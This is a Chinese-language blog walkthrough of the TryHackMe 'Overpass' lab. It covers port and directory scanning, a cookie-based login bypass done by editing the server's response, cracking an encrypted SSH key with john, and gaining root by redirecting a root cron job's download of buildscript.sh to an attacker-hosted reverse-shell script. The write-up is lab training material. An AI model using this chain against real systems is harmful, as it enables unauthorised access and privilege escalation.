Overpass – TryHackMe
Overpass – TryHackMe
一、信息收集
- 先使用nmap对靶场的端口进行探测
1 | nmap -sV -A 10.10.97.56 |

- 这里开放了22端口和80端口看看网站上面看了一下没有什么用信息

- 这里使用dirsearch再对网站进行目录扫描一下
1 | python3 dirsearch.py -u http://10.10.97.56 -e php,html,txt -t 50 -x 403,401 -o result.txt |

- 在这下面发现了还有一个admin目录尝试使用弱口令没有用

二、漏洞利用
- 翻阅一下这个网站的js,在前端
login.js里,登录时服务端返回的内容会被直接存到 Cookie:

1 | Cookies.set("SessionToken", statusOrCookie) |
如果返回 "Incorrect credentials",就说明密码错误。
但只要返回的不是 "Incorrect credentials",这个值就会被保存成 SessionToken。
而前端并不会再去校验这个 Cookie 值是否真实存在于服务器。

- 我们使用yakit对这个进行抓包,一定要启动响应劫持否则无法修改返回包
Incorrect credentials删除,然后提交数据


- 成功登录admin页面,里面写了一个James的ssh key

三、内网渗透
- 将ssh key写入到文件里面

- 使用命令尝试登录
1 | ssh james@10.10.97.56 -i id_rsa |

- 这里私钥是加密的,所以还需要先解密,这里使用ssh2john把 SSH 私钥文件(id_rsa)转换成 john 能识别的 hash 格式,因为
id_rsa是加密的(有 passphrase 密码),john 不能直接用,所以必须先用ssh2john转换
1 | ssh2john id_rsa > id_rsa.hash |
- 用
john来跑字典破解:
1 | john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash |
如果这里rockyou.txt文件显示为rockyou.txt.gz使用命令解压一下就好了
1 | sudo gzip -d /usr/share/wordlists/rockyou.txt.gz |

- 使用rockyou字典对文件进行爆破
1 | john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash |

- 得到ssh密码为james13,对文件进行登录
1 | Permissions 0664 for 'id_rsa' are too open. |

- 查看当前目录下文件拿到user.txt

四、提权
- 查看todo.txt文件,这里有提到脚本看看有没有定时任务

- cat /etc/crontab查看一下任务意思是 每分钟 root 都会去 overpass.thm 上下载一个脚本,并直接用
bash执行,这里我们可以尝试去修改/etc/hosts静态解析将该我们我们恶意的ip地址下发恶意脚本,进而获得 root 权限

overpass.thm指向 127.0.0.1,它会去 本机请求/downloads/src/buildscript.sh并以 root 执行,我们将127.0.0.1修改为我们kali的IP地址然后找一个 root 能够访问且你有写权限的路径在这个路径里创建downloads/src/buildscript.sh,这样当cron计划任务执行的时候就会执行buildscript.sh文件里面的内容

- 我在Downloads下面创建了一个downloads里面是cron要执行的路径地址

- 我这里修改了buildsript.sh文件内容,写入了反弹命令

- 在~/Downloads目录下启动命令
python3 -m http.server 80开启http服务

- 然后启动另外一个终端开启监听模式

- 回到靶机上面下载文件
1 | curl overpass.thm/downloads/src/buildscript.sh |

- 每一分钟,cron 会尝试去你的 Kali HTTP 服务下载并执行
buildscript.sh过一会儿kali就监听到了

拿到root.txt文件
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 0xMouise!







